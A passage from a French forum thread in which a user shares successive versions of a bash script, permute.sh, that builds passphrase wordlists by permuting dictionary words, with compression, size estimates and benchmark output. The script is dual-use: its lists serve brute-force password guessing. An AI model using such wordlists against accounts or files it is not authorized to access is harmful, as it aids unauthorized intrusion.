		fi
		if [[ -n "$WORD" ]]
		then
			7z x  "$NEW" -so 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g" &
			PID="$!"
			echo -e "WORK=\"$TMP\"\nPID=\"$PID\"" > "$KPID"
			wait "$PID" &>/dev/null
		fi
	done < "$DICO" | 7z a "$TMP" -si &>/dev/null
}

############
## Permutation ##
############

function PERMUTE()
{
	if [[ "$1" = "2" ]]
	then
		ARCH="${TIME}_PASSE_1.7z"
		7z a "$ARCH" "$NEW"  &>/dev/null
		rm "$NEW"
		NEW="$ARCH"
	fi
	while [[ ! "$NUM" = "$SEQ" ]]
	do
		PASSE="$(( NUM + 1 ))"
		if [[ -e "$STOPTXT" ]]
		then
			if [[ ! "$1" = "2" ]]
			then
				sed -i '$d' "$TMP"
			fi
			break
		fi
		case $1 in
			0)
				PERMQUICK;;
			1)
				PERMTEE;;
			2)
				PERMX;;
		esac
		if [[ "$FULL" = "1" ]]
		then
			mv -f  "$TMP"  "$NEW"
		else
			NEW="$TMP"
		fi
		(( NUM++ ))
	done
	if [[ "$1" = "2" ]]
	then
		rm "$DICO"
		DICO="${TIME}_DICO.7z"		
	fi
	mv -f "$NEW" "$DICO"
}

###########
## Nettoyage ##
###########

function CLEAN()
{
	rm "$DICO"
	if [[ -d "$WDIR" ]]
	then
		rmdir "$WDIR"
	fi
}

########################
## Limiter le poid des fichiers créés ##
########################

function LIMITE()
{
	
	while true
	do
		sleep "$TIMING"
		. "$KPID"
		if [[ "$(stat -c %s "$DIR/$WORK")" -gt "$PAPLUS" ]]
		then
			touch "$STOPTXT"
			kill "$PID"
			return 0
		fi
	done
}

###########################################
## Convertion octets -> Kio -> Mio -> Gio -> Tio -> Pio -> Eio -> Zio -> Yio ##
###########################################

function CONVERTION()
{
	COUNT="1024"
	
	for i in K M G T P E Z Y
do
	if [[ "$1" -gt "$COUNT" ]]
	then
		CONV="$(bc<<<"scale=2; $1/$COUNT")"
		echo "Soit $CONV $i"io 1>&2
		COUNT="$(bc<<<"$COUNT*1024")"
	fi
done
}

##########################################
## Limiter par défaut le poid du fichier à 50% de l'espace disponible ##
##########################################

function BADSETTING()
{
	PAPLUS="$(bc<<<"$LIBRE/2")"
	STOP="0"
	echo -e "\nLe poid supposé du fichier généré est supérieur à l'espace libre disponible :\nLimite arbitraire fixée à $PAPLUS octets!" 1>&2
	CONVERTION "$PAPLUS"
}


################
## On parse les options ##
################

while getopts ":l:L:w:i:d:r:M:G:T:vFyCh" OPT_PASS
do
	case "$OPT_PASS" in
	l)
		LONGMIN="$OPTARG";;
	L)
		LONGMAX="$OPTARG";;
	w)
		SEQ="$OPTARG";;
	i)
		ORIGINAL="$OPTARG"
		DIR="${ORIGINAL%/*}";;
	v)
		VITESSE="1";;
	F)
		FULL="0";;
	d)
		WDIR="$OPTARG"
		mkdir -p "$WDIR"
		DIR="$WDIR";;
	M)
		PAPLUS="$(bc<<<"$OPTARG*$MEGA")"
		STOP="0";;
	G)
		PAPLUS="$(bc<<<"$OPTARG*$GIGA")"
		STOP="0";;
	T)
		PAPLUS="$(bc<<<"$OPTARG*$TERA")"
		STOP="0";;
	y)
		REPONSE="y";;
	C)
		COMPRESSE="0";;
	r)
		file "$OPTARG" | grep -w "7-zip" && 7z x "$OPTARG" -so  2> /dev/null | cat
		exit 0 ;;
	h)
		HELP
		exit 0;;
	*)
		HELP
		exit 1;;
	esac
done

#################################
## On vérifie qu'un dicionnaire est donné en argument ##
#################################

if [[ ! -e "$ORIGINAL" ]]
then
	echo "Le fichier \"$ORIGINAL\" n'existe pas"
	exit 1
fi

#############################
## Le mode compression désactive le mode verbeux ##
#############################


if [[ "$COMPRESSE" = "0" ]]
then
	if  [[ "$VITESSE" = "1" ]]
	then
		echo -e "Le mode compression et le mode verbeux sont inccompatibles"
	exit 1
	fi
	VITESSE="2"
fi

##########################
## On se place dans le dossier de travail ##
##########################

cd "$DIR"

#####################################
## On trie le dictionnaire en fonction de la longeur des mots ##
#####################################

LONGX="$(bc<<<"$LONGMAX +1")"
sed   "/^.\{$LONGMIN\}/!d; /^.\{$LONGX\}/d" "$ORIGINAL" | sort -u > "$DICO"

##################################
## On reccupere le nombre de mots du dictionnaire trié ##
##################################

LIGNE="$(wc -l "$DICO" | cut -d' ' -f1)"
MULTIPLI="$LIGNE"

#############################################################
## Si le nombre de mots par phrases à créer est supérieur au nombre de mot du dictionnaire , on quitte ##
#############################################################

if [[ "$LIGNE" -lt "$SEQ" ]]
then
	echo "Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire :
	Nombre de lignes du dictionnaire : $LIGNE
	Nombre de mots par phrase :$SEQ "
	rm "$DICO"
	exit 1
fi

##########################################################################
## (nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases ##
##########################################################################

while [[ "$NBR" != "$SEQ" ]]
do
	(( NBR ++ ))
	MULTIPLI="$(bc<<<"$MULTIPLI - 1")"
	FACT="$(bc<<<"$FACT*$MULTIPLI")"
done

################################################################################
## (nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final ##
################################################################################

PHRASE="$(bc<<<"$LIGNE*$FACT")"
POID="$(stat -c %s "$DICO")"
TOTAL="$(bc<<<"$POID*$FACT*$SEQ")"
if [[ "$VITESSE" = "2" ]]
then
	TOTAL="$(bc<<<"$TOTAL/16")"
fi

##################################################
## On invite l'utilisateur à choisir si oui ou non il souhaite exploser son disque dur :) ##
##################################################

echo "\
Nombre de lignes du dictionnaire : $LIGNE
Longueur minimal des mots : $LONGMIN
Longueur maximal des mots : $LONGMAX
Nombre de mots par phrase : $SEQ
Nombre de phrases à générées : $PHRASE
Poid estimé du fichier de sortie : $TOTAL octets" 1>&2
CONVERTION "$TOTAL"

LIBRE="$(bc<<<"$(df "$DICO" | grep dev | awk '{ print $4 }')*1024")"

########################
## Empécher un dépassement de poid ##
########################

if [[ "$STOP" = "0" ]] 
then
	if [[ "$LIBRE" -lt "$TOTAL" ]]
	then
		if [[ "$PAPLUS" -lt "$LIBRE" ]]
		then
			echo -e "\nPoid du fichier généré limité par l'utilisateur à : $PAPLUS" 1>&2
			CONVERTION "$PAPLUS"
		else
			BADSETTING
		fi
	else
		if [[ "$PAPLUS" -lt "$TOTAL" ]]
		then
			echo -e "\nPoid du fichier généré limité par l'utilisateur à : $PAPLUS" 1>&2
			CONVERTION "$PAPLUS"
		else
			echo -e "\nLa limite imposée est supérieur au poid supposé du fichier à générer : limite désactivée !" 1>&2
			STOP="1"
		fi
	fi
else
	if [[ "$TOTAL" -gt "$LIBRE" ]]
	then
	BADSETTING
	fi
fi
	

if [[ "$REPONSE" = "n" ]]
then
	echo -e "\nSouhaitez vous poursuivre ? [y/n]" 1>&2
	read REPONSE
else
	echo -e "\nExécution sans confirmation" 1>&2
fi

##############
## On lance la bête ##
##############

case "$REPONSE" in
	y) 
		cp "$DICO" "$NEW"
		if [[ "$STOP" = "0" ]]
		then
			sleep 1
			LIMITE &
		fi
		PERMUTE "$VITESSE"
		if [[ "$STOP" = "0" ]]
		then
			rm "$STOPTXT"
		fi
		rm "$KPID";;
	n)
		echo "On quitte"
		CLEAN
		exit 0;;
	*)
		echo "Choix invalide , on quitte ."
		CLEAN
		exit 1;;
esac

TOTAL="$(stat -c %s "$DICO")"

if [[ "$VITESSE" = "2" ]]
then
	if [[ "$TOTAL" -gt "$GIGA" ]]
	then
		echo "\nPoid trop important , les informations sont désactivées !" 1>&2
		exit 0
	fi
	PHRASE="$(7z x "$DICO" -so 2>/dev/null | wc -l | cut -d' ' -f1)"
else
	PHRASE="$(wc -l "$DICO" | cut -d' ' -f1)"
fi

##############################
## Quleques informations sur le fichier produit ##
##############################

echo -e "\n\
Fichier de sortie : $DIR/$DICO
Nombre de phrases réellements générées : $PHRASE
Poid exacte du fichier de sortie : $TOTAL octets" 1>&2

CONVERTION "$TOTAL"
		
exit 0

J'insiste sur le fait de ne pas décompresser une archive volumineuse , pensez que décompressé le fichier fera 16x le poid de l'archive , vous risquez d'endommager gravement votre systeme

La prochaine révision de ce script sera fumeuse cool

Sinon si quelqu'un à essayer ce serait bien d'avoir des retours , merci

Dernière modification par Yannou90 (29-01-2013 22:28:40)

Hors Ligne

#12 02-02-2013 16:28:27

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

MAJ : version 0.4.1

-Corrections de bug sur les comparaisons de nombres
-Optimisation du code (encore beaucoup à faire)
-Compression améliorée (le poid du fichier devient ridicule)
-Choix du nombre de phrases à générer

Bonne mise à jour , les archives obtenu ont un poid ridicules , exemple :

Le dictionnaire original de test , 240 mots , représentant tout les caracteres hexadecimaux :

01
02
03
04
05
06
07
08
09
0A
0B
0C
0D
0E
0F
10
12
13
14
15
16
17
18
19
1A
1B
1C
1D
1E
1F
20
21
23
24
25
26
27
28
29
2A
2B
2C
2D
2E
2F
30
31
32
34
35
36
37
38
39
3A
3B
3C
3D
3E
3F
40
41
42
43
45
46
47
48
49
4A
4B
4C
4D
4E
4F
50
51
52
53
54
56
57
58
59
5A
5B
5C
5D
5E
5F
60
61
62
63
64
65
67
68
69
6A
6B
6C
6D
6E
6F
70
71
72
73
74
75
76
78
79
7A
7B
7C
7D
7E
7F
80
81
82
83
84
85
86
87
89
8A
8B
8C
8D
8E
8F
90
91
92
93
94
95
96
97
98
9A
9B
9C
9D
9E
9F
A0
A1
A2
A3
A4
A5
A6
A7
A8
A9
AB
AC
AD
AE
AF
B0
B1
B2
B3
B4
B5
B6
B7
B8
B9
BA
BC
BD
BE
BF
C0
C1
C2
C3
C4
C5
C6
C7
C8
C9
CA
CB
CD
CE
CF
D0
D1
D2
D3
D4
D5
D6
D7
D8
D9
DA
DB
DC
DE
DF
E0
E1
E2
E3
E4
E5
E6
E7
E8
E9
EA
EB
EC
ED
EF
F0
F1
F2
F3
F4
F5
F6
F7
F8
F9
FA
FB
FC
FD
FE

Génération d'un nouveau dictionnaire composé de 5 mots par phrases , limité à 10 000 000 de phrases , sans doublons , un mot par phrase :

time /media/Perso/Bureau/permute.sh -i/media/Perso/Bureau/double_hexa.txt -L 8 -w 5 -P 10000000  -y
Espace libre disponible : 204618592256 octets
Soit 199822844.00 Kio
Soit 195139.49 Mio
Soit 190.56 Gio

Nombre de lignes du dictionnaire : 240
Longueur minimal des mots : 1
Longueur maximal des mots : 8
Nombre de mots par phrase : 5
Nombre de phrases à générées : 763565765760
Poid du fichier généré : 11453486486400 octets
Soit 11185045396.87 Kio
Soit 10922895.89 Mio
Soit 10666.89 Gio
Soit 10.41 Tio

Nombre de phrases limitées à : 10000000
Poid supposé du fichier généré : 150000000 octets
Soit 146484.37 Kio
Soit 143.05 Mio

Exécution sans confirmation

Fichier de sortie : /media/Perso/Bureau/1359817824_DICO.txt
Poid du fichier produit : 150000000 octets
Soit 146484.37 Kio
Soit 143.05 Mio
Nombre de phrases générées : 10000000

real	0m16.555s
user	0m12.473s
sys	0m2.168s

Resultat : 16s pour généré 10 000 000 phrases de 5 mots , sans doublon pour un poid de 143.05 Mio

La même commande mais pour obtenir une archive ( option -C )

time /media/Perso/Bureau/permute.sh -i/media/Perso/Bureau/double_hexa.txt -L 8 -w 5 -P 10000000  -y -C
Espace libre disponible : 204468588544 octets
Soit 199676356.00 Kio
Soit 194996.44 Mio
Soit 190.42 Gio

Nombre de lignes du dictionnaire : 240
Longueur minimal des mots : 1
Longueur maximal des mots : 8
Nombre de mots par phrase : 5
Nombre de phrases à générées : 763565765760
Poid du fichier généré : 3033232650 octets
Soit 2962141.25 Kio
Soit 2892.71 Mio
Soit 2.82 Gio

Nombre de phrases limitées à : 10000000
Poid supposé du fichier généré : 39724 octets
Soit 38.79 Kio

Exécution sans confirmation

Fichier de sortie : /media/Perso/Bureau/1359818020_DICO.7z
Poid du fichier produit : 16078 octets
Soit 15.70 Kio
Nombre de phrases générées : 10042744

real	0m24.655s
user	0m21.077s
sys	0m5.868s

Cette fois ci : 24 secondes pour générer 10 000 000 de phrases MAIS une archive de 15.70 Kio cool

On se rend compte du potentiel : le fichier non compressé fait 143.05 Mio contre 15.70 Kio pour l'archive :

150000000 octets / 16078 octets = 9329

On obtien un rapport de compression de plus de 9329x

L'aide du logiciel :

	permute.sh permet la génération de phrases à partir d'un dictionnaire , par permutations des mots .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute .
	
	Utilisation :
	
	permute.sh -[!:L:w:i:p:d:r:P:] <ARGUMENT> -v -h -y -C
	
	permute.sh  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -d <DIR> -C -P <NBR_PHRASES>
	permute.sh -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO>
	permute.sh -i <DICO>  -P 10000
	permute.sh -r <ARCHIVE>
	permute.sh -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées , le mode compression n'est pas compatible .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-r <ARCHIVE>
		Permet de lire sur la sortie standard le contenu d'une archive au format 7z créé avec permute.sh
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-C
		Mode compression : les données sont directement compressée , le mode verbeux n'est pas compatible .
	-P <NBR_PHRASES>
		Limiter la création de  phrases à <NBR_PHRASES> ( par défaut limité à 1000000 )
	-h
		Affiche ce message		
		
	Exemple d'utilisation :
	
	# Créer des phrases de 5 mots basé sur les mots de 2 à 8 caractères de dico.txt , les fichiers sont compressés au format 7z :
	
	/media/Perso/Bureau/permute.sh -l 2 -L 8 -w 5 -i dico.txt -C 
	
	# Créer des phrases de 3 mots basé sur les mots inférieur à 4 caractères de dico.txt , aucunes confirmation n'est nécessaire :
	
	/media/Perso/Bureau/permute.sh  -L 4 -w 3 -i dico.txt -y
	
	# Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt , limité à 1000000 phrases , toutes les combinaisons sont affichées sur la sortie standars :
	
	/media/Perso/Bureau/permute.sh  -i dico.txt -v
	
	# Lire une archive créée avec permute.sh :
	
	/media/Perso/Bureau/permute.sh  -r 1234567890.7z

La version 0.4.1 :

#!/bin/bash

#Mainteneur : Yannou90
#
#Logiciel : permute.sh
#
#Version : 0.4.1
#
#Dépendances : 7z , bc
#
#Date : 02.02.2013
#
#Description : créer des passphrases de longueurs définis par l'utilisateur en fonction d'un dictionnaire
#
#Ce programme est libre, vous pouvez le redistribuer et/ou le modifier selon les termes
#de la Licence Publique Générale GNU publiée par la Free Software Foundation
#(version 2 ou bien toute autre version ultérieure choisie par vous).
#
#Ce programme est distribué car potentiellement utile, mais SANS AUCUNE GARANTIE,
#ni explicite ni implicite, y compris les garanties de commercialisation ou d'adaptation
# dans un but spécifique. Reportez-vous à la Licence Publique Générale GNU pour plus
#de détails.
#
#Vous devez avoir reçu une copie de la Licence Publique Générale GNU en même temps
#que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, États-Unis.

######################
## On cree les variables de bases ##
######################

OPT_PASS=$1
SEQ="3"
LONGMIN="1"
LONGMAX="4"
NUM="1"
TIME="$(date +%s)"
NEW="${TIME}_PASSE_1.txt"
TMP="${TIME}_tmp.txt"
DICO="${TIME}_DICO.txt"
TIMING="0.1"
NBR="1"
FACT="1"
CONV=""
VITESSE="0"
FULL="1"
WDIR=""
REPONSE="n"
COMPRESSE="1"
PHRASES="n"
NBRM="1000000"

#############
## Le menu d'aide ##
#############

function HELP()
{
	echo -e "\
	
	${0##*/} permet la génération de phrases à partir d'un dictionnaire , par permutations des mots .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute .
	
	Utilisation :
	
	${0##*/} -[!:L:w:i:p:d:r:P:] <ARGUMENT> -v -h -y -C
	
	${0##*/}  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -d <DIR> -C -P <NBR_PHRASES>
	${0##*/} -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO>
	${0##*/} -i <DICO>  -P 10000
	${0##*/} -r <ARCHIVE>
	${0##*/} -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées , le mode compression n'est pas compatible .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-r <ARCHIVE>
		Permet de lire sur la sortie standard le contenu d'une archive au format 7z créé avec ${0##*/}
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-C
		Mode compression : les données sont directement compressée , le mode verbeux n'est pas compatible .
	-P <NBR_PHRASES>
		Limiter la création de  phrases à <NBR_PHRASES> ( par défaut limité à 1000000 )
	-h
		Affiche ce message		
		
	Exemple d'utilisation :
	
	# Créer des phrases de 5 mots basé sur les mots de 2 à 8 caractères de dico.txt , les fichiers sont compressés au format 7z :
	
	$0 -l 2 -L 8 -w 5 -i dico.txt -C 
	
	# Créer des phrases de 3 mots basé sur les mots inférieur à 4 caractères de dico.txt , aucunes confirmation n'est nécessaire :
	
	$0  -L 4 -w 3 -i dico.txt -y
	
	# Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt , limité à 1000000 phrases , toutes les combinaisons sont affichées sur la sortie standars :
	
	$0  -i dico.txt -v
	
	# Lire une archive créée avec ${0##*/} :
	
	$0  -r 1234567890.7z"
}

##################
## Pas de sortie standard ##
##################

function PERMQUICK()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
			(( BOUCLE++ ))
			if [[ "$BOUCLE" = "$MAX" ]]
			then
			return 0
			fi
	done < "$DICO" | head -n "$MAX" > "$TMP"
}

##############
## Sortie standard ##
##############

function PERMTEE()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			 grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
		(( BOUCLE++ ))
			if [[ "$BOUCLE" = "$MAX" ]]
			then
			return 0
			fi
	done < "$DICO" | head -n "$MAX" | tee -a "$TMP"
}

############
## Compression ##
############

function PERMX()
{	
	TMP="${TIME}_PASSE_${PASSE}.7z"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			7z e  "$NEW" -so 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g"
		fi
		(( BOUCLE++ ))
			if [[ "$BOUCLE" = "$MAX" ]]
			then
			return 0
			fi
	done < "$DICO" | head -n "$MAX" | 7z a "$TMP" -si &>/dev/null
}

############
## Permutation ##
############

function PERMUTE()
{
	if [[ "$1" = "2" ]]
	then
		ARCH="${TIME}_PASSE_1.7z"
		7z a "$ARCH" "$NEW"  &>/dev/null
		rm "$NEW"
		NEW="$ARCH"
		(( SEQ-- ))
	fi
	while [[ ! "$NUM" = "$SEQ" ]]
	do
		PASSE="$(( NUM + 1 ))"
		if [[ "$PASSE" = "$SEQ" ]]
		then
			if [[ ! "$COMPRESSE" = "0" ]]
			then
			MAX="$NBRM"
			fi
		fi
		case "$1" in
			0)
				PERMQUICK;;
			1)
				PERMTEE;;
			2)
				PERMX;;
		esac
		mv -f  "$TMP"  "$NEW"
		(( NUM++ ))
	done
	if [[ "$1" = "2" ]]
	then
		7z a  "$NEW" "$DICO" &>/dev/null
		rm "$DICO"
		DICO="${TIME}_DICO.7z"
	fi
	mv -f "$NEW" "$DICO"
}

###########
## Nettoyage ##
###########

function CLEAN()
{
	rm "$DICO"
	if [[ -d "$WDIR" ]]
	then
		rmdir "$WDIR"
	fi
}

###########################################
## Convertion octets -> Kio -> Mio -> Gio -> Tio -> Pio -> Eio -> Zio -> Yio ##
###########################################

function CONVERTION()
{
	COUNT="1024"
	
	for i in K M G T P E Z Y
	do
	if COMPARE "$1" "$COUNT"
	then
		CONV="$(bc<<<"scale=2; $1/$COUNT")"
		echo "Soit $CONV $i"io 1>&2
		COUNT="$(bc<<<"$COUNT*1024")"
	else
		return 0
	fi
	done
}

################################################
## Résoudre le probleme des chaines longues dans les comparaisons nnumériques ##
################################################

function COMPARE()
{
	ZERO="$(bc<<<"$1<=$2")"
	return "$ZERO"
}

###################
## Lire une archive ULTRA ##
###################

function READ()
{
	ZIP="$1"
	NOM_ZIP="$(basename "$1")"
	DICT="$(echo "$NOM_ZIP" | cut -d'.' -f1)"
	TXT_DICT="$DICT.txt"
	
	while read WORD
	do
		7z e -so "$ZIP" -- "$DICT" 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g"
	done <<<"$(7z e -so "$ZIP" -- "$TXT_DICT" 2>/dev/null | cat)"
}

################
## On parse les options ##
################

while getopts ":l:L:w:i:d:r:P:vyCh" OPT_PASS
do
	case "$OPT_PASS" in
	l)
		LONGMIN="$OPTARG";;
	L)
		LONGMAX="$OPTARG";;
	w)
		SEQ="$OPTARG";;
	i)
		ORIGINAL="$OPTARG"
		if [[ ! -e "$ORIGINAL" ]]
		then
			echo "Le fichier n'existe pas"
			exit 1
		fi
		DIR="${ORIGINAL%/*}";;
	v)
		VITESSE="1";;
	d)
		WDIR="$OPTARG"
		mkdir -p "$WDIR"
		DIR="$WDIR";;
	y)
		REPONSE="y";;
	C)
		COMPRESSE="0";;
	r)
		ZIP="$OPTARG"
		if [[ ! -e "$ZIP" ]]
		then
			echo "Le fichier n'existe pas"
			exit 1
		fi
		if [[ "$(file "$OPTARG" | grep -w "7-zip")" = "1" ]]
		then
			echo "Cette archive n'est pas pris en charge"
			exit 1
		fi
		READ "$ZIP"
		exit 0;;
	P)
		NBRM="$OPTARG";;
	h)
		HELP
		exit 0;;
	*)
		HELP
		exit 1;;
	esac
done

#################
## Pas d'options -> help ##
#################

if [[ "$(echo "$@"no)" = "no" ]]
then
	HELP
	exit 1
fi
################################
## Le mode compression désactive le mode verbeux ##
################################


if [[ "$COMPRESSE" = "0" ]]
then
	if  [[ "$VITESSE" = "1" ]]
	then
		echo -e "Le mode compression et le mode verbeux sont inccompatibles"
	exit 1
	fi
	VITESSE="2"
fi

##########################
## On se place dans le dossier de travail ##
##########################

cd "$DIR"

#####################################
## On trie le dictionnaire en fonction de la longeur des mots ##
#####################################

LONGX="$(bc<<<"$LONGMAX +1")"
sed   "/^.\{$LONGMIN\}/!d; /^.\{$LONGX\}/d" "$ORIGINAL" | sort -u | sort -R > "$DICO"

##################################
## On reccupere le nombre de mots du dictionnaire trié ##
##################################

LIGNE="$(wc -l "$DICO" | cut -d' ' -f1)"
MULTIPLI="$LIGNE"

#############################################################
## Si le nombre de mots par phrases à créer est supérieur au nombre de mot du dictionnaire , on quitte ##
#############################################################

if COMPARE   "$SEQ"  "$LIGNE"
then
	echo "Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots composants le dictionnaire :
	Nombre de lignes du dictionnaire : $LIGNE
	Nombre de mots par phrase :$SEQ "
	rm "$DICO"
	exit 1
fi

###########################
## Calcul du poid et du nombre de phrases ##
###########################

PERM="$SEQ"
POID="$(stat -c %s "$DICO")"
MAX="$(bc<<<"($NBRM/($LIGNE-$SEQ))+1")"

while [[ "$NBR" != "$PERM" ]]
do
	(( NBR ++ ))
	MULTIPLI="$(bc<<<"$MULTIPLI - 1")"
	FACT="$(bc<<<"$FACT*$MULTIPLI")"
done

PHRASE="$(bc<<<"$LIGNE*$FACT")"
TOTAL="$(bc<<<"$POID*$FACT*$PERM")"
PTOT="$(bc -l<<<"(($NBRM/$PHRASE)*$TOTAL+1)" | cut -d'.' -f1)"

if [[ "$VITESSE" = "2" ]]
then	
	TOTAL="$(bc<<<"($TOTAL+$POID)/(16*$MULTIPLI)")"
	PTOT="$(bc<<<"($PTOT+$POID)/(16*$MULTIPLI)")"
fi


##################################################
## On invite l'utilisateur à choisir si oui ou non il souhaite exploser son disque dur :) ##
##################################################

LIBRE="$(bc<<<"$(df "$DICO" | grep dev | awk '{ print $4 }')*1024")"
echo "Espace libre disponible : $LIBRE octets"
CONVERTION "$LIBRE"

echo -e "\n\
Nombre de lignes du dictionnaire : $LIGNE
Longueur minimal des mots : $LONGMIN
Longueur maximal des mots : $LONGMAX
Nombre de mots par phrase : $SEQ
Nombre de phrases à générées : $PHRASE
Poid du fichier généré : $TOTAL octets"
CONVERTION "$TOTAL"

echo -e "\n\
Nombre de phrases limitées à : $NBRM
Poid supposé du fichier généré : $PTOT octets"
CONVERTION "$PTOT"

COMPARE "$LIBRE" "$PTOT"

if [[ "$?" = "1" ]]
then
	echo -e "\nVous ne disposez pas de l'espace disque nécessaire !\nVeuillez corriger les options sélectionnées ."
	exit 1
fi

##############
## On lance la bête ##
##############

if [[ "$REPONSE" = "n" ]]
then
	echo -e "\nSouhaitez vous poursuivre ? [y/n]" 1>&2
	read REPONSE
else
	echo -e "\nExécution sans confirmation" 1>&2
fi


case "$REPONSE" in
	y) 
		cp "$DICO" "$NEW"
		PERMUTE "$VITESSE";;
	n)
		echo "On quitte"
		CLEAN
		exit 0;;
	*)
		echo "Choix invalide , on quitte ."
		CLEAN
		exit 1;;
esac

TOTAL="$(stat -c %s "$DICO")"

##############################
## Quelques informations sur le fichier produit ##
##############################

echo -e "\n\
Fichier de sortie : $DIR/$DICO
Poid du fichier produit : $TOTAL octets" 1>&2
CONVERTION "$TOTAL"
if [[ "$VITESSE" = "2" ]]
then
	NBR_PH="$(READ "$DICO" | wc -l | cut -d' ' -f1)"
else
	NBR_PH="$(wc -l "$DICO" | cut -d' ' -f1)"
fi
	echo "Nombre de phrases générées : $NBR_PH" 1>&2
exit 0

Toujours personne ??
Pas grave , j'insiste et je signe

Hors Ligne

#13 03-02-2013 13:28:02

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

MAJ : version 4.0.2 :

-correction bug sur calcul du "poid supposé"
-il est maintenant possible de spécifier un séparateur entre les mots ( " " , un espace par defaut , option -s)

le script :

#!/bin/bash

#Mainteneur : Yannou90
#
#Logiciel : permute.sh
#
#Version : 0.4.2
#
#Dépendances : 7z , bc
#
#Date : 03.02.2013
#
#Description : créer des passphrases de longueurs définis par l'utilisateur en fonction d'un dictionnaire
#
#Ce programme est libre, vous pouvez le redistribuer et/ou le modifier selon les termes
#de la Licence Publique Générale GNU publiée par la Free Software Foundation
#(version 2 ou bien toute autre version ultérieure choisie par vous).
#
#Ce programme est distribué car potentiellement utile, mais SANS AUCUNE GARANTIE,
#ni explicite ni implicite, y compris les garanties de commercialisation ou d'adaptation
# dans un but spécifique. Reportez-vous à la Licence Publique Générale GNU pour plus
#de détails.
#
#Vous devez avoir reçu une copie de la Licence Publique Générale GNU en même temps
#que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, États-Unis.

######################
## On cree les variables de bases ##
######################

OPT_PASS=$1
SEQ="3"
LONGMIN="1"
LONGMAX="4"
NUM="1"
TIME="$(date +%s)"
NEW="${TIME}_PASSE_1.txt"
TMP="${TIME}_tmp.txt"
DICO="${TIME}_DICO.txt"
TIMING="0.1"
NBR="1"
FACT="1"
CONV=""
VITESSE="0"
FULL="1"
WDIR=""
REPONSE="n"
COMPRESSE="1"
PHRASES="n"
NBRM="1000000"
SEP=" "
VERIF="n"

#############
## Le menu d'aide ##
#############

function HELP()
{
	echo -e "\
	
	${0##*/} permet la génération de phrases à partir d'un dictionnaire , par permutations des mots .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute .
	
	Utilisation :
	
	${0##*/} -[!:L:w:i:p:d:r:P:s:] <ARGUMENT> -v -h -y -C
	
	${0##*/}  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -d <DIR> -C -P <NBR_PHRASES> -s <SEPARATEUR>
	${0##*/} -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO>
	${0##*/} -i <DICO>  -P 10000
	${0##*/} -r <ARCHIVE>
	${0##*/} -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées , le mode compression n'est pas compatible .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-r <ARCHIVE>
		Permet de lire sur la sortie standard le contenu d'une archive au format 7z créé avec ${0##*/}
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-C
